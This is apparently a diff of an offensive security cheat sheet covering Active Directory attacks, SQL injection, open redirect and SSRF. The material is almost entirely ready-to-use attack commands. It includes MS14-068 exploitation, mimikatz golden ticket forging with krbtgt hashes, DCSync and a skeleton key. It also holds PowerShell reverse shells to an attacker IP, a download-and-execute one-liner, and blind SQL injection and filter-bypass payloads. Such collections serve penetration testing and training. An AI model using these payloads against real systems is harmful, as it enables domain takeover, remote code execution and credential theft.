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AD Attack - Golden Ticket + SQL/OpenRed/SSRF
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@ -6,6 +6,11 @@
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Exploit Python: https://www.exploit-db.com/exploits/35474/
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Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
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Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
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git clone https://github.com/bidord/pykek
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python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
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python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
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mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
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```
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* MS17-010 (Eternal Blue - Local Admin)
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```c
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@ -41,8 +46,24 @@
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```
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* Golden Tickets
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```c
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mimikatz
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kerberos::ptc tgt.bin
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Get info - Mimikatz
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lsadump::dcsync /user:krbtgt
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lsadump::lsa /inject /name:krbtgt
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Get info - Meterpreter(kiwi)
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dcsync_ntlm krbtgt
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Forge a Golden ticket - Mimikatz
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kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
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kerberos::tgt
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Forge a Golden ticket - Metasploit
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post/windows/escalate/golden_ticket
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Forge a Golden ticket - Meterpreter
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load kiwi
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golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
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kerberos_ticket_use /root/Downloads/pentestlabuser.tck
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```
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* Kerberoast
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```c
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@ -120,3 +141,4 @@ net group "Domain Admins" hacker2 /add /domain
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* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
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* [Road to DC](https://steemit.com/infosec/@austinhudson/road-to-dc-part-1)
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* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
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* [Golden ticket](https://pentestlab.blog/2018/04/09/golden-ticket/)
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@ -72,6 +72,11 @@ Powershell
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powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
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```
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```powershell
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powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
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```
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```powershell
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powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
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```
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@ -22,6 +22,16 @@ Mimikatz Golden ticket
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.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit
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```
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Mimikatz Skeleton key
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```
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privilege::debug
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misc::skeleton
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# map the share
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net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
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# login as someone
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rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
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```
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## Mimikatz commands
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@ -62,3 +72,4 @@ More informations can be grabbed from the Memory with :
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## Thanks to
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* [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821)
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* [Skeleton Key](https://pentestlab.blog/2018/04/10/skeleton-key/)
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@ -10,6 +10,10 @@ WHITELISTEDDOMAIN="www.test.com" && sed 's/www.whitelisteddomain.tld/'"$WHITELIS
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```
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## Exploitation
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Using a whitelisted domain or keyword
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```
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www.whitelisted.com.evil.com redirect to evil.com
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```
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Using CRLF to bypass "javascript" blacklisted keyword
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```
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@ -78,3 +78,4 @@ EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
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## Thanks to
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* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
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* [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
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* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)
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@ -48,6 +48,21 @@ AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(12
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AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
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```
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## MYSQL Blind using a conditional statement
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TRUE: `if @@version starts with a 5`:
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```
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2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
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Response:
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HTTP/1.1 500 Internal Server Error
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```
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False: `if @@version starts with a 4`:
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```
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2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
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Response:
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HTTP/1.1 200 OK
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```
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## MYSQL Blind with MAKE_SET
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```
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AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
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@ -4,27 +4,45 @@ A SQL injection attack consists of insertion or "injection" of a SQL query via t
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## Entry point detection
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Detection of an SQL injection entry point
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Simple characters
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```
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'
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"
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%27
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" / %22
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; / %3B
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"
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%22
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#
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%23
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;
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%3B
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)
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Wildcard (*)
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```
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Multiple encoding
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```
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%%2727
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%25%27
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```
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Merging characters
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```
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`+HERP
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'||'DERP
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'+'herp
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' 'DERP
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'%20'HERP
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'%2B'HERP
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```
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Weird characters
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```
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Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
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transformed into U+0022 QUOTATION MARK (")
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Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
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transformed into U+0027 APOSTROPHE (')
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Wildcard (*)
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```
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## SQL injection using SQLmap
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Basic arguments for SQLmap
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```
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@ -329,6 +347,8 @@ mysql> mysql> select version();
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## Thanks to - Other resources
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* Detect SQLi
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- [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
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* MySQL:
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- [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
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- [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
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@ -61,6 +61,11 @@ Bypass localhost with a domain redirecting to locahost
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```
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http://localtest.me
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http://n-pn.info
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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```
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The service nip.io is awesome for that, it will convert any ip address as a dns.
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```
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NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
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```
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Bypass localhost with CIDR : 127.x.x.x
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